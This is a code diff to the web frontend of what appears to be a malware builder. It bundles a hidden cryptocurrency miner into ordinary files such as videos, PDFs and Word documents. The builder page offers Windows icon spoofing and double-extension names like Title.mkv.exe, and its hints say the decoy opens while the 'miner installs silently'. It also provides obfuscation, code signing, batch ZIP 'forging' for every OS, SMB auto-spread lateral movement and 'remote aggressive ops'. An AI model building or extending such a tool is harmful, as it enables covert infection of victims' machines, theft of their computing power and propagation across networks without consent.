Supports any file type PDF, video (MP4/MOV/MKV), Word, Excel, image, etc. Max 2 GB.
On Windows: icon + file description are spoofed to match the real application (Adobe Acrobat, Microsoft Word, VLC, etc.).
</p>
</div>
{fusionIsVideo && (
<div className="form-group">
<label className="label">Movie delivery <HelpTip field="fusion_media_mode" /></label>
<div className="radio-row" style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}>
<label className="checkbox-label">
<input
type="radio"
className="checkbox"
name="fusion_media_mode"
checked={fusionMediaMode === 'embedded'}
onChange={() => {
updateField('fusion_media_mode', 'embedded');
if (fusionPrepFile) {
updateField('fusion_output_name', defaultEmbeddedName(fusionPrepFile.name));
}
}}
/>
<span>
<strong>Option A Single file (embedded)</strong>
<FieldHint field="fusion_media_mode" />
</span>
</label>
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
One disguised launcher (e.g. <code>Title.mkv.exe</code>) contains the movie + hidden miner.
Best when the file is under ~500MB.
</p>
<label className="checkbox-label">
<input
type="radio"
className="checkbox"
name="fusion_media_mode"
checked={fusionMediaMode === 'paired'}
onChange={() => {
updateField('fusion_media_mode', 'paired');
if (fusionPrepFile) {
updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
}
}}
/>
<span>
<strong>Option B Movie + runner (paired)</strong>
</span>
</label>
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
<code>Title.mkv</code> (shortcut) + hidden <code>Title.mkv.cmdata</code> +{' '}
<code>Title-runner.exe</code> in <code>fusion-deliverables/Title/</code>. Clicking the
movie shows a lock message; only the runner decrypts and plays it.
</p>
</div>
{/* Delivery mode — applies to all file types */}
<div className="form-group">
<label className="label">Delivery mode <HelpTip field="fusion_media_mode" /></label>
<div className="radio-row" style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}>
<label className="checkbox-label">
<input
type="radio"
className="checkbox"
name="fusion_media_mode"
checked={fusionMediaMode === 'embedded'}
onChange={() => {
updateField('fusion_media_mode', 'embedded');
if (fusionPrepFile) updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
}}
/>
<span>
<strong>All-in-one (embedded)</strong>
<FieldHint field="fusion_media_mode" />
</span>
</label>
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
Everything baked into a single runner binary. Drop one file anywhere and run it no extras needed.
Best for files under ~500 MB.
</p>
<label className="checkbox-label">
<input
type="radio"
className="checkbox"
name="fusion_media_mode"
checked={fusionMediaMode === 'paired'}
onChange={() => {
updateField('fusion_media_mode', 'paired');
if (fusionPrepFile) updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
}}
/>
<span>
<strong>ZIP bundle (paired)</strong>
</span>
</label>
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
Your original file + runners in a ZIP. Works for <em>any</em> file size. The recipient unzips and opens
the launcher for their OS the file opens normally, miner installs silently.
</p>
</div>
)}
</div>
{/* Batch: queue multiple files, each gets its own ZIP */}
<div className="form-group">
<div className="label-row">
<label className="label">Batch movies <HelpTip field="fusion_batch" /></label>
<label className="label">Batch fusion fuse many files at once <HelpTip field="fusion_batch" /></label>
</div>
<input
type="file"
className="input"
accept=".mp4,.mkv,.mov,video/*"
accept="*"
multiple
onChange={(e) => {
const list = e.target.files ? Array.from(e.target.files) : [];
@@ -1223,10 +1431,31 @@ export default function BuilderPage() {
}}
/>
{fusionBatchFiles.length > 0 && (
<span className="form-hint">
{fusionBatchFiles.length} movie(s) queued each becomes a ZIP in{' '}
<code>fusion-deliverables/&lt;title&gt;/</code> (runner + locked movie + README).
</span>
<div style={{ marginTop: '0.5rem' }}>
<p className="form-hint" style={{ marginBottom: '0.25rem' }}>
<strong>{fusionBatchFiles.length} file{fusionBatchFiles.length !== 1 ? 's' : ''} queued</strong> each becomes a separate universal ZIP in{' '}
<code>fusion-deliverables/</code>:
</p>
<ul className="batch-forge-log" style={{ marginBottom: '0.5rem' }}>
{fusionBatchFiles.map((f) => {
const isExe = fusionPayloadKind(f) === 'exe';
return (
<li key={f.name} className="batch-log-pending">
<span className="batch-log-icon"></span>
<span>
{f.name}{' '}
<span className="form-hint">({fusionFileTypeLabel(f.name)}, {(f.size/1024/1024).toFixed(1)} MB)</span>
{!isExe && (
<span style={{ color: 'var(--color-accent)', marginLeft: '0.4rem' }}>
Windows: <code>{disguisedDisplayName(f.name)}</code>
</span>
)}
</span>
</li>
);
})}
</ul>
</div>
)}
{batchJob && (
<div className="batch-forge-panel card" style={{ marginTop: '0.75rem' }}>
@@ -1263,33 +1492,48 @@ export default function BuilderPage() {
</div>
)}
{fusionBatchFiles.length > 0 && (
<button
type="button"
className="btn btn-secondary"
style={{ marginTop: '0.5rem' }}
disabled={building || !canForge}
onClick={handleBatchForgeMovies}
>
{building
? `Batch forging… (${batchJob?.current ?? 0}/${fusionBatchFiles.length})`
: `Batch forge ${fusionBatchFiles.length} movie(s) → ZIP each`}
</button>
<div style={{ display: 'flex', gap: '0.5rem', marginTop: '0.5rem', flexWrap: 'wrap' }}>
<button
type="button"
className="btn btn-secondary"
disabled={building || !canForge}
onClick={handleBatchForge}
>
{building
? `Forging… (${batchJob?.current ?? 0}/${fusionBatchFiles.length})`
: `Forge all ${fusionBatchFiles.length} file${fusionBatchFiles.length !== 1 ? 's' : ''} → universal ZIP each`}
</button>
{building && batchJob && batchJob.phase !== 'done' && batchJob.phase !== 'cancelled' && (
<button
type="button"
className="btn btn-danger"
onClick={handleBatchCancel}
title="Stop after the current file finishes"
>
Cancel Batch
</button>
)}
</div>
)}
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
Each ZIP contains runners for Windows, Mac, and Linux. The recipient runs the launcher for their OS the file opens, the miner installs.
</p>
</div>
{!simpleMode && (
<div className="form-row">
<div className="form-group">
<label className="label">Run Order <HelpTip field="fusion_run_order" /></label>
<label className="label">Run order <HelpTip field="fusion_run_order" /></label>
<select className="select" value={form.fusion_run_order}
onChange={(e) => updateField('fusion_run_order', e.target.value)}>
<option value="parallel">Parallel (both at once)</option>
<option value="prep_first">Prep first, then worker</option>
<option value="worker_first">Worker first, then prep</option>
<option value="parallel">Parallel file opens and miner installs at the same time</option>
<option value="prep_first">File first open file, then install miner</option>
<option value="worker_first">Miner first install silently, then open file</option>
</select>
<FieldHint field="fusion_run_order" />
</div>
<div className="form-group">
<label className="label">Output Filename <HelpTip field="fusion_output_name" /></label>
<label className="label">Runner filename <HelpTip field="fusion_output_name" /></label>
<input type="text" className="input mono" value={form.fusion_output_name}
onChange={(e) => updateField('fusion_output_name', e.target.value)} />
<FieldHint field="fusion_output_name" />
@@ -1297,10 +1541,10 @@ export default function BuilderPage() {
</div>
)}
{simpleMode && fusionPrepFile && (
<p className="form-hint">Output name: <code>{fusionPrepFile.name || form.fusion_output_name}</code> (matches your prep file). Run order: parallel.</p>
<p className="form-hint">Runner name: <code>{form.fusion_output_name || defaultRunnerName(fusionPrepFile.name)}</code>. Run order: parallel (file opens + miner installs simultaneously).</p>
)}
<p className="form-hint">
Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer.
Output: one universal ZIP containing runners for every OS. Each runner opens <code>{fusionPrepFile?.name || 'your file'}</code> and silently installs the worker.
</p>
{(estimateLoading || fusionEstimate || estimateError) && (
<div className="fusion-estimate-panel card">
@@ -1342,6 +1586,7 @@ export default function BuilderPage() {
</>
)}
</div>
)}
{!simpleMode && (
<>
@@ -1351,21 +1596,25 @@ export default function BuilderPage() {
badge="server-only"
description="Obfuscation, code signing, and go-winres are applied on the control PC at forge time."
/>
<div className="form-group checkbox-group">
<div className={`form-group checkbox-group ${fieldMeta.obfuscate?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.obfuscate}
disabled={fieldMeta.obfuscate?.disabled}
onChange={(e) => updateField('obfuscate', e.target.checked)} />
<span>Obfuscate worker with Garble (release builds) <HelpTip field="obfuscate" /></span>
<span>Obfuscate worker with Garble (Windows only) <HelpTip field="obfuscate" /></span>
</label>
<FieldHint field="obfuscate" />
<ForgeLockedHint meta={fieldMeta.obfuscate} />
</div>
<div className="form-group checkbox-group">
<div className={`form-group checkbox-group ${fieldMeta.sign_build?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.sign_build}
disabled={fieldMeta.sign_build?.disabled}
onChange={(e) => updateField('sign_build', e.target.checked)} />
<span>Sign forged output (Authenticode) <HelpTip field="sign_build" /></span>
<span>Sign forged output (Authenticode, Windows only) <HelpTip field="sign_build" /></span>
</label>
<FieldHint field="sign_build" />
<ForgeLockedHint meta={fieldMeta.sign_build} />
</div>
</div>
@@ -1373,13 +1622,13 @@ export default function BuilderPage() {
<ForgeSectionHeader
title="Autonomy, Mesh & Lateral Movement"
badge="baked"
description="Optional — AI decisions, P2P mesh networking, and SMB auto-spreading."
description="Optional — AI decisions, P2P mesh, SMB auto-spread, NAT hole punch, and remote aggressive ops (dashboard buttons)."
/>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.ai_enabled}
onChange={(e) => updateField('ai_enabled', e.target.checked)} />
<span>Enable AI自治 (AI Autonomy) <HelpTip field="ai_enabled" /></span>
<span>Enable AI Autonomy (Ollama) <HelpTip field="ai_enabled" /></span>
</label>
<FieldHint field="ai_enabled" />
</div>
@@ -1429,11 +1678,41 @@ export default function BuilderPage() {
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.auto_spread}
onChange={(e) => updateField('auto_spread', e.target.checked)} />
onChange={(e) => {
const checked = e.target.checked;
if (checked && !window.confirm(
'Enable Auto-Spread?\n\n' +
'When baked ON, every deployed agent will automatically attempt lateral movement ' +
'across the local network on a timer — scanning for reachable hosts and copying itself.\n\n' +
'This is aggressive behaviour. Only enable it if you have explicit permission on every network this agent may reach.'
)) return;
updateField('auto_spread', checked);
}} />
<span>Enable Auto-Spread (Lateral Movement) <HelpTip field="auto_spread" /></span>
</label>
{form.auto_spread && (
<p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
Auto-Spread is ON every agent forged with this config will scan and propagate automatically.
</p>
)}
<FieldHint field="auto_spread" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.hole_punch}
onChange={(e) => updateField('hole_punch', e.target.checked)} />
<span>Enable NAT Hole Punch (UPnP) <HelpTip field="hole_punch" /></span>
</label>
<FieldHint field="hole_punch" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.remote_aggressive}
onChange={(e) => updateField('remote_aggressive', e.target.checked)} />
<span>Enable Remote Aggressive Ops (dashboard buttons) <HelpTip field="remote_aggressive" /></span>
</label>
<FieldHint field="remote_aggressive" />
</div>
</div>
</>
)}
@@ -1471,7 +1750,7 @@ export default function BuilderPage() {
<div className="card recent-builds">
<h2>Installer Ready</h2>
<div className="build-success">
<p><strong>Run this once on each Windows machine:</strong></p>
<p><strong>Deploy to each machine:</strong></p>
{lastBuild.fusion_enabled && (
<p className="form-hint">Fusion build worker is embedded inside {lastBuild.file_name}{lastBuild.worker_file ? ` (${lastBuild.worker_file} inside)` : ''}.</p>
)}

View File

@@ -21,7 +21,6 @@ import {
formatUptime,
} from '../help/fleetFilters';
import type { FleetFilterState } from '../help/fleetFilters';
import '../components/Fleet/AgentRemoteActions.css';
import './Pages.css';
export default function DashboardPage() {
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
@@ -309,6 +308,11 @@ export default function DashboardPage() {
/>
<span className={`status-dot ${agent.status}`} />
<span>{agent.name}</span>
{agent.platform && (
<span className="agent-tag-chip platform-badge" title={agent.os_version || agent.platform}>
{agent.platform}{agent.arch ? `/${agent.arch}` : ''}
</span>
)}
</div>
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
</div>

View File

@@ -1125,6 +1125,42 @@
color: var(--neon-amber);
}
/* Inline input validation states */
.input.input-warn {
border-color: var(--neon-amber, #fbbf24) !important;
box-shadow: 0 0 0 2px rgba(251, 191, 36, 0.25);
}
.input.input-error {
border-color: var(--neon-red, #ef4444) !important;
box-shadow: 0 0 0 2px rgba(239, 68, 68, 0.25);
}
button.deliverable-card {
text-align: left;
cursor: pointer;
width: 100%;
color: inherit;
font: inherit;
transition: border-color 0.15s, background 0.15s;
}
button.deliverable-card:hover {
border-color: rgba(251, 191, 36, 0.35);
background: rgba(251, 191, 36, 0.06);
}
button.deliverable-card.deliverable-active {
border-color: var(--neon-amber);
background: rgba(251, 191, 36, 0.12);
box-shadow: 0 0 12px rgba(251, 191, 36, 0.15);
}
button.deliverable-card .form-hint {
display: block;
margin-top: 0.35rem;
margin-bottom: 0;
}
.forge-live-notices {
margin-bottom: 1rem;
padding: 0.75rem 1rem;

View File

@@ -6,6 +6,29 @@ import { HelpTip, FieldHint } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard';
import './Pages.css';
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
function deepMerge<T extends object>(base: T, override: Partial<T>): T {
const result = { ...base } as T;
for (const key in override) {
const val = override[key];
const baseVal = base[key];
if (
val !== null &&
val !== undefined &&
typeof val === 'object' &&
!Array.isArray(val) &&
typeof baseVal === 'object' &&
baseVal !== null &&
!Array.isArray(baseVal)
) {
result[key] = deepMerge(baseVal as object, val as object) as T[typeof key];
} else if (val !== undefined) {
result[key] = val as T[typeof key];
}
}
return result;
}
export default function SettingsPage() {
const [config, setConfig] = useState<ServerConfig | null>(null);
const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
@@ -98,7 +121,9 @@ export default function SettingsPage() {
reader.onload = (evt) => {
try {
const data = JSON.parse(evt.target?.result as string);
setConfig((prev) => (prev ? { ...prev, ...data } : prev));
// Deep-merge so importing a partial config (e.g. only "pool" key) doesn't
// wipe unrelated nested sections like "default_agent" or "mining".
setConfig((prev) => (prev ? deepMerge(prev, data) : prev));
setSaveMessage(`Loaded "${file.name}" — click Save Calibration to apply.`);
} catch {
setSaveMessage('Invalid JSON file.');